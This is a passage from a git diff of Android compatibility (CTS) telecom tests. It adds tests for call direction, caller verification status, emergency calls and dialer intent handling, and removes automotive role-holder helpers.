+        assertEquals("TEST", event);
+        assertNull(extras);
+    }
+
     private void verifyConferenceObject(Conference mConferenceObject, MockConnection connection1,
             MockConnection connection2) {
         assertNull(mConferenceObject.getCallAudioState());
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index ba8be5e..e0bb29e 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -238,6 +238,52 @@
         return connection;
     }
 
+    public void testCallDirectionIncoming() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Need to add a call to ensure ConnectionService is up and bound.
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall().setActive();
+
+        final MockConnection connection = new MockConnection();
+        connection.setActive();
+        connection.setCallDirection(Call.Details.DIRECTION_INCOMING);
+        CtsConnectionService.addExistingConnectionToTelecom(TEST_PHONE_ACCOUNT_HANDLE, connection);
+        assertNumCalls(mInCallCallbacks.getService(), 2);
+        mInCallCallbacks.lock.drainPermits();
+        final Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_ACTIVE);
+        assertEquals(Call.Details.DIRECTION_INCOMING, call.getDetails().getCallDirection());
+    }
+
+    public void testCallDirectionOutgoing() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Ensure CS is up and bound.
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall().setActive();
+
+        final MockConnection connection = new MockConnection();
+        connection.setActive();
+        connection.setCallDirection(Call.Details.DIRECTION_OUTGOING);
+        connection.setConnectTimeMillis(1000L);
+        assertEquals(1000L, connection.getConnectTimeMillis());
+        connection.setConnectionStartElapsedRealTime(100L);
+        assertEquals(100L, connection.getConnectElapsedTimeMillis());
+
+        CtsConnectionService.addExistingConnectionToTelecom(TEST_PHONE_ACCOUNT_HANDLE, connection);
+        assertNumCalls(mInCallCallbacks.getService(), 2);
+        mInCallCallbacks.lock.drainPermits();
+        final Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_ACTIVE);
+        assertEquals(Call.Details.DIRECTION_OUTGOING, call.getDetails().getCallDirection());
+        assertEquals(1000L, call.getDetails().getConnectTimeMillis());
+    }
+
     public void testGetAllConnections() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
index e04393c..6f8f2f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
@@ -389,6 +389,26 @@
         assertEquals(videoProvider, connection.getVideoProvider());
     }
 
+    public void testCallerNumberVerificationStatus() {
+        if (!shouldTestTelecom(getContext())) {
+            return;
+        }
+
+        final Semaphore lock = new Semaphore(0);
+        Connection connection = createConnection(lock);
+        waitForStateChange(lock);
+
+        connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_FAILED);
+        assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+                connection.getCallerNumberVerificationStatus());
+        connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_NOT_VERIFIED);
+        assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+                connection.getCallerNumberVerificationStatus());
+        connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_PASSED);
+        assertEquals(Connection.VERIFICATION_STATUS_PASSED,
+                connection.getCallerNumberVerificationStatus());
+    }
+
     public void testStateToString() {
         if (!shouldTestTelecom(getContext())) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index c9e0c56..17f759e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -109,6 +109,15 @@
     }
 
     @Override
+    public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerPhoneAccount,
+            ConnectionRequest request) {
+        if (sConnectionService != null) {
+            sConnectionService.onCreateIncomingConnectionFailed(connectionManagerPhoneAccount,
+                    request);
+        }
+    }
+
+    @Override
     public void onConference(Connection connection1, Connection connection2) {
         synchronized(sLock) {
             if (sConnectionService != null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
index 459cb67..62975f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
@@ -43,10 +43,8 @@
 
     private static final String TAG = CtsRoleManagerAdapter.class.getSimpleName();
     private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION";
-    private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER";
     private static final String COMMAND_ADD_OR_REMOVE_CALL_COMPANION_APP =
             "telecom add-or-remove-call-companion-app";
-    private static final String COMMAND_SET_AUTO_MODE_APP = "telecom set-test-auto-mode-app";
 
     private Context mContext;
     private RoleManager mRoleManager;
@@ -83,37 +81,6 @@
         }
     }
 
-    public void addAutomotiveRoleHolder(String packageName)
-            throws Exception {
-        if (mRoleManager != null) {
-            addRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
-        } else {
-            String command = String.format("%s %s",
-                    COMMAND_SET_AUTO_MODE_APP, packageName);
-            executeShellCommand(mInstrumentation, command);
-            addRoleHolderToMap(ROLE_CAR_MODE_DIALER_APP, packageName);
-        }
-    }
-
-    public void removeAutomotiveRoleHolder(String packageName) throws Exception {
-        if (mRoleManager != null) {
-            removeRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
-        } else {
-            removeRoleHolderFromMap(ROLE_CAR_MODE_DIALER_APP, packageName);
-
-            // Reset the car mode ui to rest of automotive apps assigned. If no other automotive
-            // apps are available, set car mode ui back to null.
-            if (mRoleHolders.containsKey(ROLE_CAR_MODE_DIALER_APP)) {
-                String nextPackage = getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0);
-                String command = String.format("%s %s",
-                        COMMAND_SET_AUTO_MODE_APP, nextPackage);
-                executeShellCommand(mInstrumentation, command);
-            } else {
-                executeShellCommand(mInstrumentation, COMMAND_SET_AUTO_MODE_APP);
-            }
-        }
-    }
-
     public List<String> getRoleHolders(String role) {
         if (mRoleManager != null) {
             return getRoleHolder(role);
diff --git a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
index b68bd80..797b20c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
@@ -130,11 +130,14 @@
         extras.putString(
                 TelecomManager.GATEWAY_PROVIDER_PACKAGE,
                 PACKAGE);
-        ConnectionRequest request = new ConnectionRequest(
-                accountHandle,
-                Uri.parse("tel:555-TEST"),
-                extras,
-                VideoProfile.STATE_AUDIO_ONLY);
+        String telecomCallId = "TC@103";
+        ConnectionRequest request = new ConnectionRequest.Builder()
+                .setAccountHandle(accountHandle)
+                .setAddress(Uri.parse("tel:555-TEST"))
+                .setExtras(extras)
+                .setVideoState(VideoProfile.STATE_AUDIO_ONLY)
+                .setTelecomCallId(telecomCallId)
+                .build();
         assertEquals(accountHandle, request.getAccountHandle());
         assertEquals(Uri.parse("tel:555-TEST"), request.getAddress());
         assertEquals(extras.getString(
@@ -142,6 +145,7 @@
                 request.getExtras().getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE));
         assertEquals(VideoProfile.STATE_AUDIO_ONLY, request.getVideoState());
         assertEquals(0, request.describeContents());
+        assertEquals(telecomCallId, request.getTelecomCallId());
 
         // Create a parcel of the object and recreate the object back
         // from the parcel.
@@ -155,6 +159,7 @@
                 extras.getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE),
                 parcelRequest.getExtras().getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE));
         assertEquals(VideoProfile.STATE_AUDIO_ONLY, parcelRequest.getVideoState());
+        assertEquals(telecomCallId, request.getTelecomCallId());
         assertEquals(0, parcelRequest.describeContents());
         p.recycle();
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index cc64987..ec0a280 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -19,12 +19,22 @@
 import android.content.ComponentName;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.provider.VoicemailContract.Voicemails;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
+import android.os.Process;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import androidx.test.InstrumentationRegistry;
 
 import java.util.List;
 
@@ -33,8 +43,13 @@
  * Verifies that certain privileged operations can only be performed by the default dialer.
  */
 public class DefaultDialerOperationsTest extends InstrumentationTestCase {
+    private static final int ACTIVITY_LAUNCHING_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
     private Context mContext;
+    private UiDevice mUiDevice;
     private TelecomManager mTelecomManager;
+    private PackageManager mPackageManager;
     private PhoneAccountHandle mPhoneAccountHandle;
     private String mPreviousDefaultDialer = null;
     private String mSystemDialer = null;
@@ -43,6 +58,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -55,6 +71,7 @@
             TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPackageManager = mContext.getPackageManager();
         final List<PhoneAccountHandle> accounts = mTelecomManager.getCallCapablePhoneAccounts();
         if (accounts != null && !accounts.isEmpty()) {
             mPhoneAccountHandle = accounts.get(0);
@@ -78,6 +95,51 @@
         assertEquals(mSystemDialer, mTelecomManager.getDefaultDialerPackage());
         TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
         assertEquals(TestUtils.PACKAGE, mTelecomManager.getDefaultDialerPackage());
+        assertEquals(mTelecomManager.getDefaultDialerPackage(),
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+                        tm -> tm.getDefaultDialerPackage(Process.myUserHandle().getIdentifier())));
+    }
+
+    /** Default dialer should be the default package handling ACTION_DIAL. */
+    public void testActionDialHandling() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertEquals(info.activityInfo.packageName, mTelecomManager.getDefaultDialerPackage());
+    }
+
+    /** The package handling Intent ACTION_DIAL should be the same package showing the UI. */
+    public void testDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(info != null); // Default dialer should always handle it
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
+    /** The package handling Intent emergency dail should be the same package showing the UI. */
+    public void testEmergencyDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        if (info == null) {
+            // Skip the test if no package handles ACTION_EMERGENCY_DIAL
+            return;
+        }
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
     }
 
     public void testVoicemailReadWritePermissions() throws Exception {
@@ -194,11 +256,12 @@
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
         }
-        final PackageManager pm = mContext.getPackageManager();
         final ComponentName name = new ComponentName(mContext,
                 "android.telecom.cts.MockDialerActivity");
         try {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                     PackageManager.DONT_KILL_APP);
             TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
             final String result = TestUtils.getDefaultDialer(getInstrumentation());
@@ -206,7 +269,9 @@
             assertTrue("Expected failure indicating that this was not an installed dialer app",
                     result.contains("is not an installed Dialer app"));
         } finally {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                     PackageManager.DONT_KILL_APP);
         }
 
@@ -229,4 +294,24 @@
         String reportedDialer = mTelecomManager.getSystemDialerPackage();
         assertEquals(mSystemDialer, reportedDialer);
     }
+
+    private void verifySamePackageForIntentHandlingAndUI(Intent intent, ResolveInfo info) {
+        String packageName = info.activityInfo.packageName;
+        assertTrue(!TextUtils.isEmpty(packageName));
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        try {
+            mContext.startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+            // The package handles the intent should be foreground
+            mUiDevice.wait(
+                    Until.hasObject(By.pkg(packageName).depth(0)),
+                    ACTIVITY_LAUNCHING_TIMEOUT_MILLIS);
+            mUiDevice.waitForIdle();
+        } finally {
+            mUiDevice.pressHome();
+            mUiDevice.waitForIdle();
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 5ce6a7f..465782a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -17,22 +17,21 @@
 package android.telecom.cts;
 
 import android.net.Uri;
-import android.os.Bundle;
+import android.provider.CallLog;
+import android.telecom.Call;
 import android.telecom.Connection;
-import android.telecom.DisconnectCause;
+
+import java.util.concurrent.CountDownLatch;
 
 public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
 
-    private static final String TEST_EMERGENCY_NUMBER = "5553637";
-    private static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
-
     @Override
     public void setUp() throws Exception {
         // Sets up this package as default dialer in super.
         super.setUp();
         NewOutgoingCallBroadcastReceiver.reset();
         if (!mShouldTestTelecom) return;
-        setupConnectionService(null, 0);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
         setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
     }
 
@@ -41,18 +40,66 @@
      */
     public void testStartEmergencyCall() throws Exception {
         if (!mShouldTestTelecom) return;
-        Bundle extras = new Bundle();
-        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
-        placeAndVerifyCall(extras);
-        Connection connection = verifyConnectionForOutgoingCall();
+        placeAndVerifyEmergencyCall(true /*supportsHold*/);
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+
         assertIsInCall(true);
         assertIsInManagedCall(true);
-        try {
-            TestUtils.waitOnAllHandlers(getInstrumentation());
-        } catch (Exception e) {
-            fail("Failed to wait on handlers " + e);
-        }
-        connection.setDisconnected(new DisconnectCause(DisconnectCause.LOCAL));
-        connection.destroy();
+    }
+
+    /**
+     * Place an outgoing emergency call and ensure any incoming call is rejected automatically and
+     * logged in call log as a new missed call.
+     *
+     * Note: PSAPs have requirements that active emergency calls can not be put on hold, so if for
+     * some reason an incoming emergency callback happens while on another emergency call, that call
+     * will automatically be rejected as well.
+     */
+    public void testOngoingEmergencyCallAndReceiveIncomingCall() throws Exception {
+        if (!mShouldTestTelecom) return;
+
+        Connection eConnection = placeAndVerifyEmergencyCall(true /*supportsHold*/);
+        assertIsInCall(true);
+        assertIsInManagedCall(true);
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+        eConnection.setActive();
+        assertCallState(eCall, Call.STATE_ACTIVE);
+
+        Uri normalCallNumber = createRandomTestNumber();
+        addAndVerifyNewFailedIncomingCall(normalCallNumber, null);
+        assertCallState(eCall, Call.STATE_ACTIVE);
+
+        // Notify as missed instead of rejected, since the user did not explicitly reject.
+        verifyCallLogging(normalCallNumber, CallLog.Calls.MISSED_TYPE);
+    }
+
+    /**
+     * Receive an incoming ringing call and place an emergency call. The ringing call should be
+     * rejected and logged as a new missed call.
+     */
+    public void testIncomingRingingCallAndPlaceEmergencyCall() throws Exception {
+        if (!mShouldTestTelecom) return;
+
+        Uri normalCallNumber = createRandomTestNumber();
+        addAndVerifyNewIncomingCall(normalCallNumber, null);
+        Connection incomingConnection = verifyConnectionForIncomingCall();
+        Call incomingCall = getInCallService().getLastCall();
+        assertCallState(incomingCall, Call.STATE_RINGING);
+
+        // Do not support holding incoming call for emergency call.
+        Connection eConnection = placeAndVerifyEmergencyCall(false /*supportsHold*/);
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+
+        assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
+        assertCallState(incomingCall, Call.STATE_DISCONNECTED);
+
+        eConnection.setActive();
+        assertCallState(eCall, Call.STATE_ACTIVE);
+
+        // Notify as missed instead of rejected, since the user did not explicitly reject.
+        verifyCallLogging(normalCallNumber, CallLog.Calls.MISSED_TYPE);
     }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index e7dddd2..10cd943 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -400,7 +400,11 @@
     }
 
     private Uri blockNumber(Uri phoneNumberUri) {
-        return insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
+        Uri number = insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
+        if (number == null) {
+            fail("Failed to insert into blocked number provider");
+        }
+        return number;
     }
 
     private int unblockNumber(Uri uri) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
index f63248f..e9863cf 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
@@ -16,10 +16,11 @@
 
 package android.telecom.cts;
 
+import android.net.Uri;
+import android.os.Bundle;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.ConnectionRequest;
-import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
@@ -34,43 +35,34 @@
     public static final int CONNECTION_PROPERTIES = Connection.PROPERTY_IS_EXTERNAL_CALL;
     public static final int CONNECTION_CAPABILITIES = Connection.CAPABILITY_CAN_PULL_CALL;
 
-    private Call mCall;
-    private MockConnection mConnection;
-    private MockInCallService mInCallService;
+    private MockConnection mExternalConnection;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        if (mShouldTestTelecom) {
-            PhoneAccount account = setupConnectionService(
-                    new MockConnectionService() {
-                        @Override
-                        public Connection onCreateOutgoingConnection(
-                                PhoneAccountHandle connectionManagerPhoneAccount,
-                                ConnectionRequest request) {
-                            Connection connection = super.onCreateOutgoingConnection(
-                                    connectionManagerPhoneAccount,
-                                    request);
-                            mConnection = (MockConnection) connection;
+        if (!mShouldTestTelecom) return;
+        setupConnectionService(
+                new MockConnectionService() {
+                    @Override
+                    public Connection onCreateOutgoingConnection(
+                            PhoneAccountHandle connectionManagerPhoneAccount,
+                            ConnectionRequest request) {
+                        Connection connection = super.onCreateOutgoingConnection(
+                                connectionManagerPhoneAccount,
+                                request);
+                        if (!request.getAddress().equals(TEST_EMERGENCY_URI)) {
+                            // Only get a reference to the non-emergency connection in relation to
+                            // pulling.
+                            mExternalConnection = (MockConnection) connection;
                             // Modify the connection object created with local values.
                             connection.setConnectionCapabilities(CONNECTION_CAPABILITIES);
                             connection.setConnectionProperties(CONNECTION_PROPERTIES);
-
-                            lock.release();
-                            return connection;
                         }
-                    }, FLAG_REGISTER | FLAG_ENABLE);
 
-            placeAndVerifyCall();
-            verifyConnectionForOutgoingCall();
-
-            mInCallService = mInCallCallbacks.getService();
-            mCall = mInCallService.getLastCall();
-
-            assertCallState(mCall, Call.STATE_DIALING);
-            assertCallProperties(mCall, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
-            assertCallCapabilities(mCall, Call.Details.CAPABILITY_CAN_PULL_CALL);
-        }
+                        lock.release();
+                        return connection;
+                    }
+                }, FLAG_REGISTER | FLAG_ENABLE);
     }
 
     /**
@@ -81,26 +73,77 @@
         if (!mShouldTestTelecom) {
             return;
         }
+        Call call = placeExternalCall();
 
-        final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
+        final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
                 MockConnection.ON_PULL_EXTERNAL_CALL);
-        mCall.pullExternalCall();
+        call.pullExternalCall();
         counter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
     }
 
-    public void testNonPullableExternalCall() {
+    /**
+     * Tests that a request to pull an external call via {@link Call#pullExternalCall()} is
+     * not completed when {@link Call.Details#CAPABILITY_CAN_PULL_CALL} is not on the call.
+     */
+    public void testNonPullableExternalCall() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
+        Call call = placeExternalCall();
 
         // Remove the pullable attribute of the connection.
-        mConnection.setConnectionCapabilities(0);
-        assertCallCapabilities(mCall, 0);
+        mExternalConnection.setConnectionCapabilities(0);
+        assertCallCapabilities(call, 0);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
 
-        final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
+        final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
                 MockConnection.ON_PULL_EXTERNAL_CALL);
         // Try to pull -- we expect Telecom to absorb the request since the call is not pullable.
-        mCall.pullExternalCall();
-        counter.waitForCount(0, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        call.pullExternalCall();
+        counter.waitForCount(5000L/*mS*/);
+        assertEquals(0, counter.getInvokeCount());
+    }
+
+
+    /**
+     * Tests that when a user tries to pull an external call while we are in an ongoing emergency
+     * call, the request is not completed.
+     */
+    public void testTryToPullCallWhileInEmergencyCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        Call call = placeExternalCall();
+
+        placeAndVerifyEmergencyCall(true /*supportsHold*/);
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+        assertIsInCall(true);
+        assertIsInManagedCall(true);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+
+        final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
+                MockConnection.ON_PULL_EXTERNAL_CALL);
+        // Try to pull -- we expect Telecom to absorb the request since we are on an emergency
+        // call.
+        call.pullExternalCall();
+        counter.waitForCount(5000L /*mS*/);
+        assertEquals(0, counter.getInvokeCount());
+    }
+
+    private Call placeExternalCall() {
+        Uri testNumber = createRandomTestNumber();
+        Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, testNumber);
+        placeAndVerifyCall(extras);
+        verifyConnectionForOutgoingCall(testNumber);
+
+        Call call = getInCallService().getLastCall();
+
+        assertCallState(call, Call.STATE_DIALING);
+        assertCallProperties(call, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
+        assertCallCapabilities(call, Call.Details.CAPABILITY_CAN_PULL_CALL);
+        return call;
     }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index b13b133..4c579ed 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -46,6 +46,45 @@
     private static final PhoneAccountHandle TEST_INVALID_HANDLE = new PhoneAccountHandle(
             new ComponentName(PACKAGE, COMPONENT), "WRONG_ID");
 
+    public void testVerstatPassed() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_PASSED_NUMBER, null);
+        verifyConnectionForIncomingCall();
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertEquals(Connection.VERIFICATION_STATUS_PASSED,
+                call.getDetails().getCallerNumberVerificationStatus());
+    }
+
+    public void testVerstatFailed() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_FAILED_NUMBER, null);
+        verifyConnectionForIncomingCall();
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+                call.getDetails().getCallerNumberVerificationStatus());
+    }
+
+    public void testVerstatNotVerified() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        addAndVerifyNewIncomingCall(MockConnectionService.VERSTAT_NOT_VERIFIED_NUMBER, null);
+        verifyConnectionForIncomingCall();
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+                call.getDetails().getCallerNumberVerificationStatus());
+    }
+
     public void testAddNewIncomingCall_CorrectPhoneAccountHandle() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConference.java b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
index ebf4e3f..91c5a1a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConference.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
@@ -40,7 +40,7 @@
     }
 
     public MockConference(MockConnection a, MockConnection b) {
-        super(a.getPhoneAccountHandle());
+        super(a.getMockPhoneAccountHandle());
         addConnection(a);
         addConnection(b);
         // a is the primary connection, so inherit the properties from it.
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 5ca1b2b..1704db9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -301,11 +301,11 @@
         return mMockVideoProvider;
     }
 
-    public void setPhoneAccountHandle(PhoneAccountHandle handle)  {
+    public void setMockPhoneAccountHandle(PhoneAccountHandle handle)  {
         mPhoneAccountHandle = handle;
     }
 
-    public PhoneAccountHandle getPhoneAccountHandle()  {
+    public PhoneAccountHandle getMockPhoneAccountHandle()  {
         return mPhoneAccountHandle;
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 2025882..56c8ed9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -16,6 +16,7 @@
 
 package android.telecom.cts;
 
+import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.Connection;
 import android.telecom.ConnectionRequest;
@@ -36,6 +37,9 @@
  * received.
  */
 public class MockConnectionService extends ConnectionService {
+    public static final Uri VERSTAT_NOT_VERIFIED_NUMBER = Uri.fromParts("tel", "777", null);
+    public static final Uri VERSTAT_PASSED_NUMBER = Uri.fromParts("tel", "555", null);
+    public static final Uri VERSTAT_FAILED_NUMBER = Uri.fromParts("tel", "333", null);
     public static final String EXTRA_TEST = "com.android.telecom.extra.TEST";
     public static final String TEST_VALUE = "we've got it";
     public static final int CONNECTION_PRESENTATION =  TelecomManager.PRESENTATION_ALLOWED;
@@ -63,13 +67,14 @@
     public List<RemoteConnection> remoteConnections = new ArrayList<RemoteConnection>();
     public List<MockConference> conferences = new ArrayList<MockConference>();
     public List<RemoteConference> remoteConferences = new ArrayList<RemoteConference>();
+    public List<MockConnection> failedConnections = new ArrayList<>();
 
     @Override
     public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
         final MockConnection connection = new MockConnection();
